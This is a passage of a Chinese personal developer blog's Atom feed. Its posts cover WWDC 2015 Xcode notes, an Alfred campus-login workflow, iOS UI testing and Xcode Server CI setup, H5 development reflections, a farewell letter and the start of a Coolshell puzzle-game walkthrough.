  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SpriteKit&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SceneKit&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;GamePlayKit：編寫遊戲的 AI 和規則系統。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;watchOS 2&lt;/li&gt;
&lt;/ol&gt;

          
          
        
      
        </content><summary>Session 107 - What’s New in Cocoa Touch</summary></entry><entry><title>WWDC 15 Session 104 学习笔记</title><id>http://blog.cee.moe/wwdc-15-session-104-learning-notes.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/wwdc-15-session-104-learning-notes.html" /><published>2015-06-11T00:00:00-07:00</published><updated>2016-01-28T06:44:54-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h3 id=&quot;session-104---whats-new-in-xcode&quot;&gt;Session 104 - What’s new in Xcode&lt;/h3&gt;

&lt;p&gt;說到 Xcode，不得不說它是最漂亮的 IDE 了（巨硬不要打我，你沒有給五毛安利費）。這次的 Xcode 7.0 更新，給我們也同時帶來了很多方便和快捷的地方。下面就列舉一下學習的要點。&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Generic Collection：&lt;/p&gt;

    &lt;p&gt;Generic Collection 對自己而言並不陌生，在 Java 中其實就有實現了，不再贅述其優越性。&lt;/p&gt;

    &lt;p&gt;例如：&lt;code class=&quot;highlighter-rouge&quot;&gt;&lt;span class=&quot;k&quot;&gt;@property&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nonatomic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strong&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NSArray&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UIImage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;imageArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Size Classes：&lt;/p&gt;

    &lt;p&gt;從 Xcode 6 引入的 Size Classes 為 iOS 9 下的 Split View 奠定了基礎。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;App Thinning：&lt;/p&gt;

    &lt;p&gt;使用 Bitcode 來提交整個 app，並且對於不同的型號和屏幕的 iPhone/iPad 提供不一樣的圖片支持（Slicing）。&lt;/p&gt;

    &lt;p&gt;這裡做了個 Demo 演示，具體介紹了轉移到新的 Xcode 7.0 下的應用配置更新，還有使用了 Data Set 和 On Demand Resource Tags 來下載必要的資源文件（這些文件託管在 App Store 上）。使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;startUsingGenre&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;stopUsingGenre&lt;/code&gt; 調用。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Debug：&lt;/p&gt;

    &lt;p&gt;更強大的 Debug 功能。提供了 Energy Report 來反映整個 app 的資源消耗問題。使用 Address Sanitizer 來追蹤 Crash 的具體位置（在 Run - Diagnostics 下打開，需要重新編譯）。通過 Test Flight 收集 Crash 信息，來追從並且定位故障。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Testing：&lt;/p&gt;

    &lt;p&gt;之前用的比較多的用來進行測試的是 XCTest 還有 Xcode Server，之前也寫過&lt;a href=&quot;https://blog.cee.moe/ios-ui-automating-test/&quot;&gt;一篇文章&lt;/a&gt;來講如何進行自動化的 UI 測試。這次 Apple 直接給我們帶來了 &lt;code class=&quot;highlighter-rouge&quot;&gt;UITesting&lt;/code&gt; 這個類，並且可以直接對模擬器進行錄製腳本后插入斷言來實現 UI 測試。這相比之前使用  Automation 測試方便了很多。&lt;/p&gt;

    &lt;p&gt;此外，還添加了 Code Coverage 功能來檢測代碼的覆蓋程度。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

          
          
        
      
        </content><summary>Session 104 - What’s new in Xcode</summary></entry><entry><title>PNJU-Workflow</title><id>http://blog.cee.moe/PNJU-Workflow.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/PNJU-Workflow.html" /><published>2015-06-04T00:00:00-07:00</published><updated>2015-08-05T04:56:03-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;An Alfred Workflow to Login PNJU.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Be sure you have your Node.js / io.js installed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;how-to-use&quot;&gt;How To Use&lt;/h2&gt;

&lt;p&gt;Open &lt;code class=&quot;highlighter-rouge&quot;&gt;post.js&lt;/code&gt; file and complete the &lt;code class=&quot;highlighter-rouge&quot;&gt;username&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;password&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;screenshot&quot;&gt;Screenshot&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/Cee/PNJU-Workflow/raw/master/Screenshot.jpeg&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;see-also&quot;&gt;See Also&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/miaoxw/Auto-p.nju&quot;&gt;Windows&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Cee/PNJU-TodayWidget&quot;&gt;Mac&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Cee/PNJU-Watch&quot;&gt;iOS &amp;amp;  Watch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/padeoe/AutoConnect&quot;&gt;Android&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;dependency&quot;&gt;Dependency&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Request&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/XadillaX/alfred-item&quot;&gt;Alfred-Item&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;license&quot;&gt;License&lt;/h2&gt;

&lt;p&gt;This application is released under &lt;a href=&quot;http://www.gnu.org/licenses/gpl-2.0.html&quot;&gt;GNU General Public License v2.0&lt;/a&gt;.&lt;/p&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;https://github.com/Cee/PNJU-Workflow&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary>An Alfred Workflow to Login PNJU.</summary></entry><entry><title>39 - Thank you</title><id>http://blog.cee.moe/39-thank-you.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/39-thank-you.html" /><published>2015-05-31T00:00:00-07:00</published><updated>2016-02-05T22:40:26-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/Gb5npQ5_YHk&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;http://www.bilibili.com/video/av2386400/&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary></summary></entry><entry><title>I ❤</title><id>http://blog.cee.moe/i-love.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/i-love.html" /><published>2015-04-27T00:00:00-07:00</published><updated>2016-02-05T22:20:48-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/CFUZ7jyp8FI&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;http://www.bilibili.com/video/av2261681/&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary></summary></entry><entry><title>Gravity=Reality</title><id>http://blog.cee.moe/gravity-reality.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/gravity-reality.html" /><published>2015-04-19T00:00:00-07:00</published><updated>2016-02-05T22:22:21-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/EnZV-raeiSU&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;http://www.bilibili.com/video/av2235429/&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary></summary></entry><entry><title>别，火花</title><id>http://blog.cee.moe/bye-huohua.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/bye-huohua.html" /><published>2015-04-15T00:00:00-07:00</published><updated>2015-08-03T05:06:03-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;眨眼之间，近四个月就过去了。&lt;/p&gt;

&lt;p&gt;记得小学第一本日记本的名字就叫作火花。取这个名字的理由也很简单，就是想要自己的思想能像火花一样，有过绚烂绽放的那一刻。当初决定来布丁的那一刻，我就相信在这里能够展现自己的想法，能让自己的想法转化成现实。在这四个月中，的的确确有很多如火花般闪耀的亮点展现在了用户的眼前，散发着那种美妙而又香甜的氤氲。&lt;/p&gt;

&lt;p&gt;「成长」大概是这四个月来的关键词。从入职时候犯了很多错到慢慢地适应这个快节奏的团队，从一开始代码架构都不懂到逐渐了解，很多在学校里面没有学到的知识都在这里碰到并且消化了解了。&lt;/p&gt;

&lt;p&gt;撇开告别的忧伤，不如来表达自己的感谢。&lt;/p&gt;

&lt;p&gt;谢谢白老师，给了我这么一个机会。作为工作室的学长，永远是我们这些学弟学妹们的榜样和典范。对自我能力提升的意识，这一点上我会更加努力的！&lt;/p&gt;

&lt;p&gt;谢谢呵老师，四个月的悉心指导，尤其是每周的评估交流都能让自己意识到不足。代码上的问题也每次都来请教你，也学习到了很多架构和编程的技巧。&lt;/p&gt;

&lt;p&gt;谢谢 Jim，大概是批评和指责我缺点最多的人。很多职场的规矩和礼仪都是 Jim 你教给我的。还有，如饥似渴地学习、不断地挑战自己、更加关心我需要关心的事物，今后回来的时候一定会表现的更好。&lt;/p&gt;

&lt;p&gt;谢谢技术线上的各位，刁老师、龙兄、瓶子和满姐，配合虽然没有很多，但是很感谢你们的付出和奋斗。&lt;/p&gt;

&lt;p&gt;谢谢设计线上的各位，叉老师、木木和滴滴，你们绝对是最有品味的设计师了，各位真的很 Nice！（还有对不起滴滴啦~）&lt;/p&gt;

&lt;p&gt;谢谢运营线上的各位，格格、渣晨、吱吱、TD，没有你们的努力，我们的活动也不会那么地精彩。&lt;/p&gt;

&lt;p&gt;还有珊姐和星汉，背后的付出支撑着整个团队的正常的运转，真的很感谢你们！&lt;/p&gt;

&lt;p&gt;无论今后的路该怎么走，感谢大家这一路的陪伴，这份共同的梦想和感情，我将铭记在心。最后道一声「ありがとう」，谢谢你们，没有你们的四月，依然也能绽放光芒。&lt;/p&gt;

&lt;p&gt;（写于四月六日凌晨）&lt;/p&gt;

          
          
        
      
        </content><summary>眨眼之间，近四个月就过去了。</summary></entry><entry><title>iOS 自动化 UI 测试方案</title><id>http://blog.cee.moe/ios-ui-automating-test.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/ios-ui-automating-test.html" /><published>2015-03-25T00:00:00-07:00</published><updated>2015-08-03T05:05:53-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;ul&gt;
  &lt;li&gt;使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;Instruments&lt;/code&gt; 下的 &lt;code class=&quot;highlighter-rouge&quot;&gt;Automation&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Using UIAScript，类似于 JavaScript&lt;/li&gt;
      &lt;li&gt;打开后选择 &lt;code class=&quot;highlighter-rouge&quot;&gt;Add Script&lt;/code&gt;，编写需要测试的测试用例&lt;/li&gt;
      &lt;li&gt;右侧 &lt;code class=&quot;highlighter-rouge&quot;&gt;Scripts&lt;/code&gt; 有需要运行的列表&lt;/li&gt;
      &lt;li&gt;编写完成后点击下面的 &lt;code class=&quot;highlighter-rouge&quot;&gt;Run&lt;/code&gt; 即可&lt;/li&gt;
      &lt;li&gt;在每个 &lt;code class=&quot;highlighter-rouge&quot;&gt;Trace Log&lt;/code&gt; 中都能明确展示出出现的问题&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Example：对于 HomeVC 进行每个 Cell 的 UI 测试用例
    &lt;ul&gt;
      &lt;li&gt;Code：略&lt;/li&gt;
      &lt;li&gt;Logs：
        &lt;ul&gt;
          &lt;li&gt;UIALogger.logStart(testName);&lt;/li&gt;
          &lt;li&gt;UIALogger.logPass(testName);&lt;/li&gt;
          &lt;li&gt;UIALogger.logFail(testName);&lt;/li&gt;
          &lt;li&gt;UIATarget.localTarget().logElementTree();&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;Get Elements：
        &lt;ul&gt;
          &lt;li&gt;App: UIATarget.localTarget().frontMostApp();&lt;/li&gt;
          &lt;li&gt;MainWindow：UIATarget.localTarget().frontMostApp().mainWindow();&lt;/li&gt;
          &lt;li&gt;.buttons();&lt;/li&gt;
          &lt;li&gt;.collectionViews();&lt;/li&gt;
          &lt;li&gt;.cells();&lt;/li&gt;
          &lt;li&gt;etc…&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;Gestures：
        &lt;ul&gt;
          &lt;li&gt;.tap({x: 100, y: 200});&lt;/li&gt;
          &lt;li&gt;.doubleTap({x: 100, y: 200});&lt;/li&gt;
          &lt;li&gt;.twoFingerTap({x: 100, y: 200});&lt;/li&gt;
          &lt;li&gt;.dragFromToForDuration({x: 160, y: 200}, {x: 160, y: 400}, 1);&lt;/li&gt;
          &lt;li&gt;.scrollToElementWithPredicate();&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;Timing：
        &lt;ul&gt;
          &lt;li&gt;.timeout();&lt;/li&gt;
          &lt;li&gt;.setTimeout();&lt;/li&gt;
          &lt;li&gt;.pushTimeout();&lt;/li&gt;
          &lt;li&gt;.popTimeout();&lt;/li&gt;
          &lt;li&gt;.delay();&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;References：
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://developer.apple.com/library/ios/documentation/DeveloperTools/Conceptual/InstrumentsUserGuide/UsingtheAutomationInstrument/UsingtheAutomationInstrument.html&quot;&gt;Instruments User Guide - Using the Automation Instrument&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Pro iOS 5 Tools: Xcode, Instruments and Build Tools&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

          
          
        
      
        </content><summary>  使用 Instruments 下的 Automation          Using UIAScript，类似于 JavaScript      打开后选择 Add Script，编写需要测试的测试用例      右侧 Scripts 有需要运行的列表      编写完成后点击下面的 Run 即可      在每个 Trace Log 中都能明确展示出出现的问题      </summary></entry><entry><title>iOS 持续集成解决方案</title><id>http://blog.cee.moe/ios-integration.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/ios-integration.html" /><published>2015-03-04T00:00:00-08:00</published><updated>2015-08-03T05:05:46-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;ul&gt;
  &lt;li&gt;Using OS X Server &amp;amp; Xcode Server &amp;amp; xcsbuildd&lt;/li&gt;
  &lt;li&gt;Basic Steps:
    &lt;ol&gt;
      &lt;li&gt;安裝 OS X Server，打開 Xcode&lt;/li&gt;
      &lt;li&gt;Settings 選項卡配置 Permission&lt;/li&gt;
      &lt;li&gt;添加 SSH Key 到 Xcode Server 上：
        &lt;ul&gt;
          &lt;li&gt;Login：&lt;code class=&quot;highlighter-rouge&quot;&gt;sudo -u _xcsbuildd /bin/bash&lt;/code&gt;&lt;/li&gt;
          &lt;li&gt;Generate SSH Key：&lt;code class=&quot;highlighter-rouge&quot;&gt;ssh-keygen -t rsa -C &quot;$your_email&quot;&lt;/code&gt;&lt;/li&gt;
          &lt;li&gt;Show your public key：&lt;code class=&quot;highlighter-rouge&quot;&gt;cat /var/_xcsbuildd/.ssh/id_rsa.pub&lt;/code&gt;&lt;/li&gt;
          &lt;li&gt;Put the key to github&lt;/li&gt;
          &lt;li&gt;SSH your server to accept the fingerprint：&lt;code class=&quot;highlighter-rouge&quot;&gt;ssh -T git@gitlab.domain.com&lt;/code&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;配置 Workspace
        &lt;ul&gt;
          &lt;li&gt;Build scheme：勾選 shared&lt;/li&gt;
          &lt;li&gt;添加 Server 到 Xcode 中（Preferences 裡面的 Accounts，匿名登錄）&lt;/li&gt;
          &lt;li&gt;添加 Bot，設置 SSH Key&lt;/li&gt;
          &lt;li&gt;集成日程安排：選擇一次提交更新一次&lt;/li&gt;
          &lt;li&gt;
            &lt;p&gt;Add Trigger：&lt;/p&gt;

            &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  export LC_ALL=&quot;en_US.UTF-8&quot; 
  # Put the git repo name instead of “reponame” variable
  cd reponame
  # Remove the following line if there is no submodules in the project
  git submodule update --init --recursive
  # If podfile is not in the root folder uncomment the following line
  # and replace with the real folder name
  # cd FolderName
  pod install
&lt;/code&gt;&lt;/pre&gt;
            &lt;/div&gt;
          &lt;/li&gt;
          &lt;li&gt;報錯嘗試執行 &lt;code class=&quot;highlighter-rouge&quot;&gt;pod setup&lt;/code&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;References：
    &lt;ul&gt;
      &lt;li&gt;http://papaanton.com/setting-up-xcode-6-and-apple-server-4-0-for-continues-integration-with-cocoapods/&lt;/li&gt;
      &lt;li&gt;https://gist.github.com/mtitolo/f5283c54e300d88d9418&lt;/li&gt;
      &lt;li&gt;http://stackoverflow.com/questions/26990057/cocoapods-commands-fail-due-to-no-such-file-or-directory-dir-initialize-us&lt;/li&gt;
      &lt;li&gt;http://blog.cocoapods.org/Repairing-Our-Broken-Specs-Repository/&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;


          
          
        
      
        </content><summary>  Using OS X Server &amp;amp; Xcode Server &amp;amp; xcsbuildd  Basic Steps:          安裝 OS X Server，打開 Xcode      Settings 選項卡配置 Permission      添加 SSH Key 到 Xcode Server 上：                  Login：sudo -u _xcsbuildd /bin/bash          Generate SSH Key：ssh-keygen -t rsa -C &quot;$your_email&quot;          Show your public key：cat /var/_xcsbuildd/.ssh/id_rsa.pub          Put the key to github          SSH your server to accept the fingerprint：ssh -T git@gitlab.domain.com                    配置 Workspace                  Build scheme：勾選 shared          添加 Server 到 Xcode 中（Preferences 裡面的 Accounts，匿名登錄）          添加 Bot，設置 SSH Key          集成日程安排：選擇一次提交更新一次                      Add Trigger：              export LC_ALL=&quot;en_US.UTF-8&quot;   # Put the git repo name instead of “reponame” variable  cd reponame  # Remove the following line if there is no submodules in the project  git submodule update --init --recursive  # If podfile is not in the root folder uncomment the following line  # and replace with the real folder name  # cd FolderName  pod install                                報錯嘗試執行 pod setup                      References：          http://papaanton.com/setting-up-xcode-6-and-apple-server-4-0-for-continues-integration-with-cocoapods/      https://gist.github.com/mtitolo/f5283c54e300d88d9418      http://stackoverflow.com/questions/26990057/cocoapods-commands-fail-due-to-no-such-file-or-directory-dir-initialize-us      http://blog.cocoapods.org/Repairing-Our-Broken-Specs-Repository/      </summary></entry><entry><title>H5 開發小感</title><id>http://blog.cee.moe/html-5-develop.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/html-5-develop.html" /><published>2015-01-31T00:00:00-08:00</published><updated>2015-08-03T05:04:47-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;最近這一個星期從 iOS 開發轉向了網頁前端（就是我很久沒有碰過的那一塊東西＋不想碰的那一塊東西）。即使有些不爽，但是這一週開發做下來給自己感覺的進步和提升還是很明顯的。下面來談談 H5 前端開發的感受。&lt;/p&gt;

&lt;hr /&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;學會復用：
 做語音彈幕和 233 遊戲的時候考慮了一下彈幕從右往左飄過和小球從上往下掉的邏輯基本是相同的。所以設計刷新的方法邏輯也應該基本相同，只不過維護的對象不同罷了。iOS 上基本也是一個套路，不過容易很多。&lt;/p&gt;

 	function refresh() {
    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; 	// move
     // do something here...
     // remove
     // do something here...
     // add
     // do something here...
 }
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;做前思考：
 涉及以下幾個方面。
    &lt;ul&gt;
      &lt;li&gt;「設計」是很重要的一點，週四晚上在單位也是做了一個關於「工程師眼中的字體和設計」這麼一個話題的&lt;a href=&quot;https://speakerdeck.com/cee/gong-cheng-shi-yan-zhong-de-zi-ti-he-she-ji&quot;&gt;分享&lt;/a&gt;。&lt;/li&gt;
      &lt;li&gt;其次是「分層」，網頁的不同元素的疊加考慮好它們的層次結構（尤其是寫樣式表）。&lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;最後是「優化」。實現完成後考慮幾個問題：js 中的方法有沒有封裝好，每個調用邏輯有沒有各司其職，是否有可以優化的地方等等等等。舉一個比較簡單的例子就是 Canvas 上的 Button Listener（使用了 CreateJS）：&lt;/p&gt;

        &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  // ...
  btn.addEventListener(&quot;click&quot;, handleBtnClick);
  // ...
  function handleBtnClick() {
  	// Tell stage to update frame
      // But the button doesn't know things that the stage does
      stage.updateGameFrame();
  }
&lt;/code&gt;&lt;/pre&gt;
        &lt;/div&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;莫慌：
 再怎麼急也沒！有！用！尤其是當自己接觸從來沒有接觸過的東西的時候。做 233 小遊戲的時候一開始的確很茫然，在開動前問了很多前端菊苣們用什麼框架、怎麼去寫代碼等等問題，但是因為給的答案實在是太多了所以根本無法繼續。後來冷靜下來後從 Cocoas-2d、CreateJS、Kissy 等框架中選了 CreateJS 下面的 EaselJS 進行開發，再去看 API Documentation，再去編碼就輕鬆多了。&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;p&gt;再讓我說 H5 前端開發的話，絕對是一件很蛋疼的事情。不同的手機適配就是讓人炸掉的一件事。還有對於我這種強迫症工程師，設計稿不好的敵方都會去和設計師去交流改進，所以接觸設計師的時間也比之前做 iOS 更多了（這是件好事，因為新來了個設計師超級 Nice 的說）。與此同時還得接觸後端的內容，也算是對新領域的一種新的嘗試吧。&lt;/p&gt;

          
          
        
      
        </content><summary>最近這一個星期從 iOS 開發轉向了網頁前端（就是我很久沒有碰過的那一塊東西＋不想碰的那一塊東西）。即使有些不爽，但是這一週開發做下來給自己感覺的進步和提升還是很明顯的。下面來談談 H5 前端開發的感受。</summary></entry><entry><title>Coolshell Puzzle Game 通关记</title><id>http://blog.cee.moe/coolshell-puzzle-game-tong-guan-ji.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/coolshell-puzzle-game-tong-guan-ji.html" /><published>2014-12-21T00:00:00-08:00</published><updated>2015-08-03T05:03:40-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;某日，看到&lt;a href=&quot;http://quantize.me/&quot;&gt;zyq女神&lt;/a&gt;在群里发了个链接说：有没有人玩这个游戏啊…&lt;/p&gt;

&lt;p&gt;于是…就手贱&lt;a href=&quot;http://fun.coolshell.cn&quot;&gt;点进去了&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;（&lt;strong&gt;本文涉及答案，如果要看解答请主动屏蔽LZ&lt;/strong&gt;）&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x00-fuck-your-brain&quot;&gt;0x00 Fuck your brain&lt;/h3&gt;

&lt;p&gt;正如其名：Brainfuck。给了一段brainfuck的代码放在解释器里跑一下就得到了下一关的答案。&lt;/p&gt;

&lt;h4 id=&quot;answer-welcomehtml&quot;&gt;answer: welcome.html&lt;/h4&gt;

&lt;h4 id=&quot;keypoint&quot;&gt;keypoint:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Brainfuck&quot;&gt;brainfuck&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x01-multiply&quot;&gt;0x01 Multiply&lt;/h3&gt;

&lt;p&gt;乘法，求得&lt;code class=&quot;highlighter-rouge&quot;&gt;X * Y&lt;/code&gt;就可以得到答案了。&lt;/p&gt;

&lt;p&gt;算&lt;code class=&quot;highlighter-rouge&quot;&gt;X&lt;/code&gt;：2, 3, 6, 18, 108, ?（1944，&lt;code class=&quot;highlighter-rouge&quot;&gt;a(n) = a(n-1) * a(n-2)&lt;/code&gt;）&lt;/p&gt;

&lt;p&gt;算&lt;code class=&quot;highlighter-rouge&quot;&gt;Y&lt;/code&gt;：生命、宇宙以及任何事情的终极答案——42&lt;/p&gt;

&lt;p&gt;算&lt;code class=&quot;highlighter-rouge&quot;&gt;X * Y&lt;/code&gt;； 1944 * 42 = 81648&lt;/p&gt;

&lt;h4 id=&quot;answer-81648html&quot;&gt;answer: 81648.html&lt;/h4&gt;

&lt;h4 id=&quot;keypoint-1&quot;&gt;keypoint:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.google.com.hk/webhp?sourceid=chrome-instant&amp;amp;ion=1&amp;amp;espv=2&amp;amp;ie=UTF-8#ie=UTF-8&amp;amp;q=the%20answer%20to%20life%2C%20the%20universe%20and%20everything&amp;amp;sourceid=chrome-psyapi2&quot;&gt;the answer to life, the universe and everything&lt;/a&gt;（Google Calculator Knows，出自道格拉斯·亚当斯的小说《银河系漫游指南》，值得一读哦）&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x02-keyboard&quot;&gt;0x02 Keyboard&lt;/h3&gt;

&lt;p&gt;点开图是一个Wiki，讲的是Dvorak Simplified Keyboard。意思就是把下面的密文按照键盘替换。得到解密后的程序：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;main() { printf(&amp;amp;unix[“\021%six\012\0”],(unix)[“have”]+”fun”-0x60);}&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Google一下：原来是C语言混乱大赛的代码。详细见keypoint，这里给出答案。&lt;/p&gt;

&lt;h4 id=&quot;answer-unixhtml&quot;&gt;answer: unix.html&lt;/h4&gt;

&lt;h4 id=&quot;keypoint-2&quot;&gt;keypoint:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Dvorak_Simplified_Keyboard&quot;&gt;Dvorak Simplified Keyboard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.chinaunix.net/uid-13701930-id-336417.html&quot;&gt;About the code&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x03-qr-code&quot;&gt;0x03 QR Code&lt;/h3&gt;

